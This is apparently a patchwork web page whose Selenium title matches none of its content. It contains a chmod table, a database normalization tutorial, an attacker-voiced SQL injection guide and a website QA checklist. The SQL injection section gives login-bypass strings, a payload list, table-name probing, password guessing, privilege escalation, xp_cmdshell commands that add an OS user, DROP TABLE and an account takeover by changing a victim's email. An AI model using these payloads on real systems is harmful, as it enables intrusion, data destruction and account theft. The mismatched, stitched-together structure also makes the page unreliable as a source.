Basic XML schema for run tests sequentially in Selenium RC

Basic XML schema for run tests sequentially in Selenium RC

CHMOD

CHMOD is used to change permissions of a file. It’s a UNIX command that lets the system know how much access it should permit to a file.

PERMISSIONS                              COMMAND
U              G              W
rwx         rwx        rwx                   chmod 777 filename
rwx         rwx        r-x                    chmod 775 filename
rwx         r- x         r-x                   chmod 755 filename
rw-         rw-          r--                   chmod 664 filename
rw-          r--           r--                  chmod 644 filename

U = User
G = Group
W = World

r = Readable
w = writable
x = executable
- = no permission

An easier way to keep this in mind always.

Eg : rwx         rwx         rwx          chmod 777 filename
        111           111           111 , that makes a 777

         rw-          rw-         r--         chmod 664 filename
        110        110          100, that makes a 664

Binary      Becomes

--------------------
000             0
001             1
010             2
011             3

100             4
101             5
110             6
111             7

Database Normalization

What is Normalization?

Normalization is the process of efficiently organizing data in a database.

There are two goals of the normalization process:

• eliminating redundant data (for example, storing the same data in more than one table)
  
• ensuring data dependencies make sense (only storing related data in a table).

Both of these are worthy goals as they reduce the amount of space a database consumes and ensure that data is logically stored.

The concept of database normalization is not unique to any particular Relational
Database Management System. It can be applied to any of several implications
of relational databases including Microsoft Access, dBase, Oracle, etc. The
benefits of Normalizing your database include:

• Avoiding repetitive entries
• Reducing required storage space
• Preventing the need to restructure existing tables to accommodate new data.
• Increased speed and flexibility of queries, sorts, and summaries.

The Normal Forms

The database community has developed a series of guidelines for ensuring that databases are normalized. These are referred to as normal forms and are numbered from one (the lowest form of normalization, referred to as first normal form or 1NF) through five (fifth normal form or 5NF).

In practical applications, you'll often see 1NF, 2NF, and 3NF along with the occasional 4NF. Fifth normal form is very rarely seen

• In order to reach peak efficiency, it is recommended that relational databases be normalized through at least the third normal form.
• In order to normalize a database, each table should have a primary key field that uniquely identifies each record in that table. A primary key can consist of a single field (an ID Number field for instance) or a combination of two or more fields that together make a unique key (called a multiple field primary key).

First Normal Form (1NF)

First normal form (1NF) sets the very basic rules for an organized database:

• Eliminate duplicative columns from the same table.
• Create separate tables for each group of related data and identify each row with a unique column or set of columns (the primary key).

For a table to be in first normal form, data must be broken up into the smallest units possible.

For example, the following table is not in first normal form.

Name	Address	Phone
Sally Singer	123 Broadway New York, NY, 11234	(111) 222-3345
Jason Jumper	456 Jolly Jumper St. Trenton NJ, 11547	(222) 334-5566

To conform to first normal form, this table would require additional fields.

• The name field should be divided into first and last name and the address should

be divided by street, city state, and zip like this.

ID	First	Last	Street	City	State	Zip	Phone
564	Sally	Singer	123 Broadway	New York	NY	11234	(111) 222-3345
565	Jason	Jumper	456 Jolly Jumper St.	Trenton	NJ	11547	(222) 334-5566

• In addition to breaking data up into the smallest meaningful values, tables

in first normal form should not contain repetitions groups of fields such as
in the following table.

Rep ID	Representative	Client 1	Time 1	Client 2	Time 2	Client 3	Time 3
TS-89	Gilroy Gladstone	US Corp.	14 hrs	Taggarts	26 hrs	Kilroy Inc.	9 hrs
RK-56	Mary Mayhem	Italiana	67 hrs	Linkers	2 hrs

The problem here is that each representative can have multiple clients not all will have three. Some may have less as is the case in the second record, tying up storage space in your database that is not being used, and some may have more, in which case there are not enough fields. The solution to this is to add a record for each new piece of information.

Rep ID	Rep First Name	Rep Last Name	Client	Time With Client
TS-89	Gilroy	Gladstone	US Corp	14 hrs
TS-89	Gilroy	Gladstone	Taggarts	26 hrs
TS-89	Gilroy	Gladstone	Kilroy Inc.	9 hrs
RK-56	Mary	Mayhem	Italiana	67 hrs
RK-56	Mary	Mayhem	Linkers	2 hrs

*Notice the splitting of the first and last name fields again.

This table is now in first normal form. Note that by avoiding repeating groups of fields, we have created a new problem in that there are identical values in the primary key field, violating the rules of the primary key. In order to remedy this, we need to have some other way of identifying each record. This can be done with the creation of a new key called client ID.

Rep ID*	Rep First Name	Rep Last Name	Client ID*	Client	Time With Client
TS-89	Gilroy	Gladstone	978	US Corp	14 hrs
TS-89	Gilroy	Gladstone	665	Taggarts	26 hrs
TS-89	Gilroy	Gladstone	782	Kilroy Inc.	9 hrs
RK-56	Mary	Mayhem	221	Italiana	67 hrs
RK-56	Mary	Mayhem	982	Linkers	2 hrs

This new field can now be used in conjunction with the Rep ID field to create a multiple field primary key. This will prevent confusion if ever more than one Representative were to serve a single client.

Second Normal Form (2NF)

Second normal form (2NF) further addresses the concept of removing duplication data:

• Meet all the requirements of the first normal form.
• Remove subsets of data that apply to multiple rows of a table and place them in separate tables.
• Create relationships between these new tables and their predecessors through the use of foreign keys.

The second normal form applies only to tables with multiple field primarykeys. Take the following table for example.

Rep ID*	Rep First Name	Rep Last Name	Client ID*	Client	Time With Client
TS-89	Gilroy	Gladstone	978	US Corp	14 hrs
TS-89	Gilroy	Gladstone	665	Taggarts	26 hrs
TS-89	Gilroy	Gladstone	782	Kilroy Inc.	9 hrs
RK-56	Mary	Mayhem	221	Italiana	67 hrs
RK-56	Mary	Mayhem	982	Linkers	2 hrs
RK-56	Mary	Mayhem	665	Taggarts	4 hrs

This table is already in first normal form. It has a primary keyconsisting of Rep ID and Client ID since neither alone can be considered a
unique value.

• The second normal form states that each field in a multiple field primary key table must be directly related to the entire primary key. Or in other words,each non-key field should be a fact about all the fields in the primary key.

• Only fields that are absolutely necessary should show up in our table, all other fields should reside in different tables.
  

• In order to find out which fields are necessary we should ask a few questions of our database.

In our preceding example, I should ask the question "What information is this table meant to store?" Currently, the answer is not obvious. It may bemeant to store information about individual clients, or it could be

holding data for employees time cards.

As a further example, if my database is going to contain records of employees I may want a table of
demographics and a table for payroll. The demographics will have all the employees personal information and will assign them an ID number. I should not have to enter the data twice, the payroll table on the other hand should refer to each employee only by their ID number. I can then link the two tables by a relationship and will then have access to all the necessary data.

• In the table of the preceding example we are devoting three field to the identification of the employee and two to the identification of the client. I could identify them with only one field each -- the primary
  

key. I can then take out the extraneous fields and put them in their own
table. For example, my database would then look like the following.

Rep ID*	Client ID*	Time With Client
TS-89	978	14 hrs
TS-89	665	26 hrs
TS-89	782	9 hrs
RK-56	221	67 hrs
RK-56	982	2 hrs
RK-56	665	4 hrs

The above table contains time card information.

Rep ID*	First Name	Last Name
TS-89	Gilroy	Gladstone
RK-56	Mary	Mayhem

The above table contains Employee Information.

Client ID*	Client Name
978	US Corp
665	Taggarts
782	Kilroy Inc.
221	Italiana
982	Linkers

The above table contains Client Information

These tables are now in normal form. By splitting off the unnecessary information and putting it in its own tables, we have eliminated redundancy and put our first table in second normal form. These tables are now ready to be linked through relationship to each other.

Third Normal Form (3NF)

There are two basic requirements for a database to be in third normal form:

• Already meet the requirements of both 1NF and 2NF
• Remove columns that are not fully dependent upon the primary key.

Imagine that we have a table of widget orders that contains the following attributes:

• Order Number
• Customer Number
• Unit Price
• Quantity
• Total

Order Number	Customer Number	Unit Price	Quantity	Total

• Remember, our first requirement is that the table must satisfy the requirements of 1NF and 2NF.
  
• Are there any duplicative columns? No.
  
• Do we have a primary key? Yes, the order number.
  

Therefore, we satisfy the requirements of 1NF.

• Are there any subsets of data that apply to multiple rows? No, so we also satisfy the requirements of 2NF.

• Now, are all of the columns fully dependent upon the primary key?
  

The customer number varies with the order number and it doesn't appear to depend upon any of the other fields.

What about the unit price? This field could be dependent upon the customer number in a situation where we charged each customer a set price. However, looking at the data above, it appears we sometimes charge the same customer different prices. Therefore, the unit price is fully dependent upon the order number. The quantity of items also varies from order to order, so we're OK there.

What about the total? It looks like we might be in trouble here. The total can be derived by multiplying the unit price by the quantity, therefore it's not fully dependent upon the primary key. We must remove it from the table to comply with the third normal form. Perhaps we use the following attributes:

• Order Number
• Customer Number
• Unit Price
• Quantity

Now our table is in 3NF. But, you might ask, what about the total? This is a derived field and it's best not to store it in the database at all. We can simply compute it "on the fly" when performing database queries.

Fourth Normal Form (4NF)

Finally, fourth normal form (4NF) has one additional requirement:

• Meet all the requirements of the third normal form.
• A relation is in 4NF if it has no multi-valued dependencies.

Remember, these normalization guidelines are cumulative. For a database to be in 2NF, it must first fulfill all the criteria of a 1NF database.

• In a many-to-many relationship, independent entities can not be stored in the same table.

Since it only applies to the many-to-many relationship, most developers can rightfully ignore this rule. But it does come in handy in certain situations, such as this one.

Consider the following example:

Pizza Delivery Permutations

Restaurant	Pizza Variety	Delivery Area
A1 Pizza	Thick Crust	Springfield
A1 Pizza	Thick Crust	Shelbyville
A1 Pizza	Thick Crust	Capital City
A1 Pizza	Stuffed Crust	Springfield
A1 Pizza	Stuffed Crust	Shelbyville
A1 Pizza	Stuffed Crust	Capital City
Elite Pizza	Thin Crust	Capital City
Elite Pizza	Stuffed Crust	Capital City
Vincenzo's Pizza	Thick Crust	Springfield
Vincenzo's Pizza	Thick Crust	Shelbyville
Vincenzo's Pizza	Thin Crust	Springfield
Vincenzo's Pizza	Thin Crust	Shelbyville

• Each row indicates that a given restaurant can deliver a given variety of pizza to a given area.

• The table has no non-key attributes because its only key is {Restaurant, Pizza Variety, Delivery Area}. Therefore it meets all normal forms up to BCNF.

• It does not, however, meet 4NF. The problem is that the table features two non-trivial multivalued dependencies on the {Restaurant} attribute (which is not a superkey). The dependencies are:

• {Restaurant} →→ {Pizza Variety}
• {Restaurant} →→ {Delivery Area}

• These non-trivial multivalued dependencies on a non-superkey reflect the fact that the varieties of pizza a restaurant offers are independent from the areas to which the restaurant delivers. This state of affairs leads to redundancy in the table: for example, we are told three times that A1 Pizza offers Stuffed Crust, and if A1 Pizza start producing Cheese Crust pizzas then we will need to add multiple rows, one for each of A1 Pizza's delivery areas. There is, moreover, nothing to prevent us from doing this incorrectly: we might add Cheese Crust rows for all but one of A1 Pizza's delivery areas, thereby failing to respect the multivalued dependency {Restaurant} →→ {Pizza Variety}.

• To eliminate the possibility of these anomalies, we must place the facts about varieties offered into a different table from the facts about delivery areas, yielding two tables that are both in 4NF:

Varieties By Restaurant

Restaurant	Pizza Variety
A1 Pizza	Thick Crust
A1 Pizza	Stuffed Crust
Elite Pizza	Thin Crust
Elite Pizza	Stuffed Crust
Vincenzo's Pizza	Thick Crust
Vincenzo's Pizza	Thin Crust

Delivery Areas By Restaurant

Restaurant	Delivery Area
A1 Pizza	Springfield
A1 Pizza	Shelbyville
A1 Pizza	Capital City
Elite Pizza	Capital City
Vincenzo's Pizza	Springfield
Vincenzo's Pizza	Shelbyville

In contrast, if the pizza varieties offered by a restaurant sometimes did legitimately vary from one delivery area to another, the original three-column table would satisfy 4NF.

Fifth Normal Form

There is one more form of normalization which is sometimes applied, but it is indeed very esoteric and is in most cases probably not required to get the most functionality out of your data structure or application.

Its tenet suggests:

• The original table must be reconstructed from the tables into which it has been broken down.
• The benefit of applying this rule ensures you have not created any extraneous columns in your tables, and that all of the table structures you have created are only as large as they need to be.

It's good practice to apply this rule, but unless you're dealing with a very large data schema you probably won't need it.

SQL Injection

What is SQL Injection

SQL injection refers to the act of someone inserting a MySQL statement to be run on your database without your knowledge. Injection usually occurs when you ask a user for input, like their name, and instead of a name they give you a MySQL statement that you will unknowingly run on your database.

Its a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, from web page the user gets the usernaem and password and make SQL query to the database to check if a user has valid name and password. With SQL injection, it is possible for us to send crafted username ans/or password field tha will change the SQL query and thus grant us something else.

What Do you need?

Any web browser.

What you should look for?

Try to look for pages that allow you to submit data, i.e: login page,

search page, feedback, etc.

Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code.

You may find something like this in some HTML codes:

Everything between the

and

have potential parameters that might be useful (exploit wise).

What if you can't find any page that takes input?

You should look for pages like ASP, JSP, CGI, or PHP web pages.

Try to look especially for URL that takes parameters, like:

http://duck/index.asp?id=10

SQL INJECTION ATTACKS

1. Hacking the querystring

a) While By Passing Login,


The login page had a traditional username-and-password form, but also an email-me-my-password link;Well, lots of people thinks that only the valid user can log in inside the system but that’s not true.Well anybody can log in to that website with a simple trick.

Let’s look at the usual query for user login in PHP,

$sql=”SELECT * FROM tbl_user WHERE username= ‘”.$_POST['username'].”‘ AND password= ‘”.$_POST['password'].”‘”;
$result=mysql_query($sql);

Let’s suppose that a intruder injected x’ OR ‘x’='x in the username field and x’ OR ‘x’='x in the password field.Then the final query of fetching the user will become like this,

SELECT * FROM tbl_user WHERE username=’x’ OR ‘x’='x’ AND password=’x’ OR ‘x’='x’;

Well you can see that query is always true and returns the row from the database. As the result , the intruder could log in to the system.


b)Through URL's,

Other than bypassing login, it is also possible to view extra information that is not normally available.

For example consider a asp page that will link you to another page with the following URL:

http://duck/index.asp?category=food

In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable.

The SQL statement should become:

SELECT * FROM product WHERE PCategory='food'

The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.

Now, assume that we change the URL into something like this:

http://duck/index.asp?category=food' or 1=1--

Now, our category equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not.

A double dash "--" tell MYSQL server ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

The SQL query will now become:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

It should return the same result.

Depending on the actual SQL query, you may have to try some of these possibilities:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

2.Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.

A standalone query of

SELECT COUNT(*) FROM tabname

Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:

SELECT email, passwd, login_id, full_name
 FROM table
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.

SELECT email, passwd, login_id, full_name
 FROM members
 WHERE email = 'x' AND members.email IS NULL; --';

When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

3.Finding some users

At this point we have a partial idea of the structure of the members table. We'd like to get some user names to work with, preferably those likely to have access to more data.

The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.

The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.

We can do the query on email name or full name (or presumably other information), each time putting in the %LIKE supports: wildcards that

SELECT email, passwd, login_id, full_name
 FROM members
 WHERE email = 'x' OR full_name LIKE '%Bob%';

Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.

Ultimately, we may only need one valid email address to leverage our way in.

4. Password guessing and resetting Password

a)Password Guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.

We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.

SELECT email, passwd, login_id, full_name
 FROM members
 WHERE email = 'bob@example.com' AND passwd = 'hello123';

This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.

This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

b)Resetting Password (to gain more privileges )

"UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';"

But a malicious user sumbits the value ' or uid like'%admin%'; -- to $uid to change the admin's password, or simply sets $pwd to "hehehe', admin='yes', trusted=100 " (with a trailing space) to gain more privileges. Then, the query will be twisted:

// $uid == ' or uid like'%admin%'; --
"UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%'; --";

// $pwd == "hehehe', admin='yes', trusted=100 "
"UPDATE usertable SET pwd='hehehe', admin='yes', trusted=100 WHERE
...;";

5.Remote execution with SQL injection

"SELECT * FROM products WHERE id LIKE '%$prod%'";

If attacker submits the value a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- to $prod, then the query will be:

"SELECT * FROM products
WHERE id LIKE '%a%'
exec master..xp_cmdshell 'net user test testpass /ADD'--";

MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.

Note: Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

6.Dropping a table

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.

The most drastic example is:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE members; --'; -- Boom!

The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.

This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

7.Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.

This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x';
INSERT INTO members ('email','passwd','login_id','full_name')
VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';

Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:

1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
2. The web application user might not have INSERT permission on the members table.
3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.

In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.

A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.

We ended up going down a different road.

8.Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.

From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:

SELECT email, passwd, login_id, full_name
 FROM members
 WHERE email = 'x';
 UPDATE members
 SET email = 'steve@unixwiz.net'
 WHERE email = 'bob@example.com';

After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.

We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:

From: system@example.com
To: steve@unixwiz.net
Subject: Intranet login

This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello

Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.

We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.

We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

QA Check list

Test Carried out	Expected	Actual (Yes or No )	Remarks	Ticket Reference (Corresponding bug id if u have any bug tracking tool )
1. Functionality
1.1 Links
Internal Links	Should be present
External Links	Should be present
Mail to links	Should open mailbox
Orphan pages (a page that has no links to it)	Should not be present
Broken links	Should not be present
Are all referenced web sites or email addresses hyperlinked?
If we have removed some of the pages from our own site, set up a custom 404 page that redirects your visitors to your home page (or a search page) when the user try to access a page that no longer exists.
1.2 Forms
Acceptance of invalid input
Input longer than field allows	Checked Unique records, Date validation
Functional checks	Create, modify, view and delete are working.
Error Handling for wrong inputs or actions.	Appropriate error messages to be displayed.
Optional and mandatory fields.	Mandatory field should not be left blank. Optional should allow the user to skip the field.
1.3 Cookies
Check to see what happens if a user deletes cookies while in site
Check to see what happens if a user deletes cookies after visiting a site
1.4 Data integration
Check the maximum field lengths to ensure that there are no truncated characters?
If numeric fields accept negative values can these be stored correctly on the database and does it make sense for the field to accept negative numbers?
If a particular set of data is saved to the database check that each value gets saved fully to the database. (i.e.) Beware of truncation (of strings) and rounding of numeric values.
1.5 Data field check
Assure that leap years are validated correctly & do not cause errors/miscalculations.
Assure that Feb. 28, 29, 30 are validated correctly & do not cause errors/ miscalculations.
1.6 Numeric fields
Assure that lowest and highest values are handled correctly.
Assure that numeric fields with a blank in position 1 are processed or reported as an error.
Assure that fields with a blank in the last position are processed or reported as an error
Assure that both + and - values are correctly processed.
Assure that division by zero does not occur.
Include value zero in all calculations.
1.7 Alphanumeric field checks
Use blank and non-blank data.
Include lowest and highest values.
Include invalid characters & symbols.
Include valid characters.
Include data items with first position blank.
Include data items with last position blank.
2. Usability: How Simple Customer can browse the website
2.1 Navigation: It describes the way user navigate with in a webpage, between different user interface controls ( buttons, text boxes, combo boxes, drop down lists etc)
Navigation through Mouse	Should be proper
Navigation through Tab	Should be proper
Main features access	Should be accessed from home/Main page
Hot Keys, Control Keys for menu or action	Should work
2.2 Content: Correctness is whether the information is truthful or contains misinformation. The accuracy of the information is whether it is with out grammatical or spelling errors.
Spelling and Grammar	To be proper
Updated information’s.	Past events/ information’s to be removed.
2.3 General Appearance
Page Appearance	Should not be any overlapping, missing etc.,
Colour, font and size	Should be as per standard
Frames	All frames to be appeared
Consistent Design	Everywhere in the website consistent layout and design should be carried out.
Favicon, logos and symbols
3. User Interface : All about how exactly website look like
3.1 Screen resolution	must be tested with various screen
3.2 Varying font size
3.3 View in text browser
3.4 Without Javascripts
3.5 Without plug-in if any
3.6 Without images
3.7 Page titles
3.8 Hyperlink colors	It should be standard
3.9 All the fonts to be same
3.10 All images are optimized for quick downloads
3.11 Alt tag for all images
3.12 Are all disabled fields avoid in TAB sequence
3.13 Are all read only fields avoid in TAB sequence
3.14 Link to home on every single page
3.15 Default value of the drop down box	Should have meaningful sentence such as "Choose one" or "Select"
3.16 Cursor will be on first editable field
3.17 When an error message occurs does the focus return to the field in error when the user cancels it?
3.18 Persistancy of all values ( When you enter values in a form, and move on the next page and then return to change one of the previous screen. The user must not be forced to reenter all the values once again, this must be checked and ensured. )
3.19 Pagination	Use where appropriate
3.20 Error messages	Illegal operations should give error messages and they should be simple and clear
3.21 Success messages	Should display
3.22 Horizontal scrolling	Avoid horizontal scroll bar ensure that the use of vertical scroll bar is judicious
4. Server Side Interface
4.1 Server Interface	Communication should be correct with respect to Web server, App server and DB server
4.2 Compatibility with server hardware, Sw, network connections	Should be proper.
4.3 Database compatibility[s1]	Should be easily portable to other database.
5. Client side Compatibility
5.1 Platform
Windows2000, NT	Should be working
Unix	Should be working
Linux	Should be working
Solaris	Should be working
Macintosh	Should be working
5.2 Browsers
I.E	Should work in all versions above 4.x
Firefox	Should work in all versions above 2.x
Safari
Opera
Graphics	Load of images, graphics should be proper
4.3 Printing
Text and alignment	Should be proper
Colours of text, foreground and background	Should be readable.
Scalability to fit paper size.	Should print in A4, Letter size.
Tables and borders.	Should be proper.
6. Performance
6.1 Connection speed
Should be measured in 14.4, 28.8, 33.6, 56.6, ISDN, Cable and DSL
Timeout	Should give appropriate time to search. Incorrect message, data loss should not be present.
6.2 Load
Estimated users.	Per requirements
Peak load	Should withstand
Large amount of data from users	Should accept
6.3 Stress
System Crash	Should not be present
Error in Sw, HW, Memory	Leakage, overwrite should not happen.
6.4 Continuous use
Estimate whether available for 24 Hrs, 7 days a week	Try with various timings.
Downtime	Measure the downtime
Memory or disk space	Should not run out of memory or disk space.
7. Security
7.1 Valid and Invalid	Should not enter with Invalid login
7.2 Number of tries	Should not be more than 3 times for invalid try.
7.3 Enter url directly without logging in.	Should not display information.
7.4 Log files	Should be maintained
7.5 Access to server scripts	Authenticated.
7.6 Does the application include time-outs due to inactivity?
7.7 Is bookmarking disabled on secure pages?
7.8 Is Right Click, View, Source disabled?
7.9 SQL injection
7.10 Java script injection
8. HTML Validations
HTML Validation
CSS Validation
Styles should be always placed in external CSS files.
Content should be formatted through cascading styles (CSS).
9 SEO
9.1 Domain name
Main keyword in the domain name
Easy to spell and remember
Without hyphens were possible
Domain extension
Host location
9.2 URL
URL structure	Avoid using lengthy URLs with unnecessary parameters and session IDs.
Directory structure	Create a simple directory structure
Unique to each page	Do not have duplicate ones like http://www.mywebsite.com/ and http://www.mywebsite.com/index.php.
Mixing www. and non-www. versions of URLs
Odd capitalization of URLs
Extension	Aim to hide the underlying technology of your website and thus remove the extension, creating clean and descriptive URLs.
Keywords in URL	Should include relevant keywords – Avoid keyword duplication. The keyword should be mentioned sooner in the URL
9.3 Page Title
Unique
Informative
Keyword in title
9.3 Meta tags
9.3.1 Description meta tag - Limit to 150 characters
Summary of the page content
Unique description for each page
9.3.2 Description meta tag
Number of keywords	don’t use more than 7 to 10 words for your meta keywords
Unique and relevant keywords	Use unique and relevant meta keywords for every single page, related to page content. Do not repeat any word more than 3 times.
Usage of capital letters	Don't use all capital letters unless the word is an acronym, like "SEO", which is short for Search Engine Optimization.
9.3.3 Robots Meta Tag (add in live server)
Check	This is specified if the current page should not be indexed by the search engines, as in the case of a custom error page.
9.4 Page contents
Number of words	Each page of your content should contain about 250 – 600 words of unique content with 4 or 5 occurrences of your targeted keywords.
Keyword density	At least 3 keywords in a page. Your keywords should be toward the top of your page and your keyword phrase is in either every paragraph or every second paragraph depending on your paragraph length.
Hyper linked keyword	Include your most important keyword in hyper linked text.
9.5 Alt tag
Alt tag for images
Keywords as alt tag	Wherever possible, put PROPER KEYWORDS in the ALT tags. Don’t go wild with this and don’t miss-label any pictures.
Alt tags for navigation buttons
9.6 Sitemap
Sitemap.xml
9.7 Anchor tag
9.8 Robots.txt
9.9 Page size
Check page size	Good SEO site page size ideal should be 15KB, can exceed up to 50 KB.
9.10 Error page
Check for custom error page
9.11 Redirection
301 redirection	Check for permanent redirection
302 redirection	Temporary redirection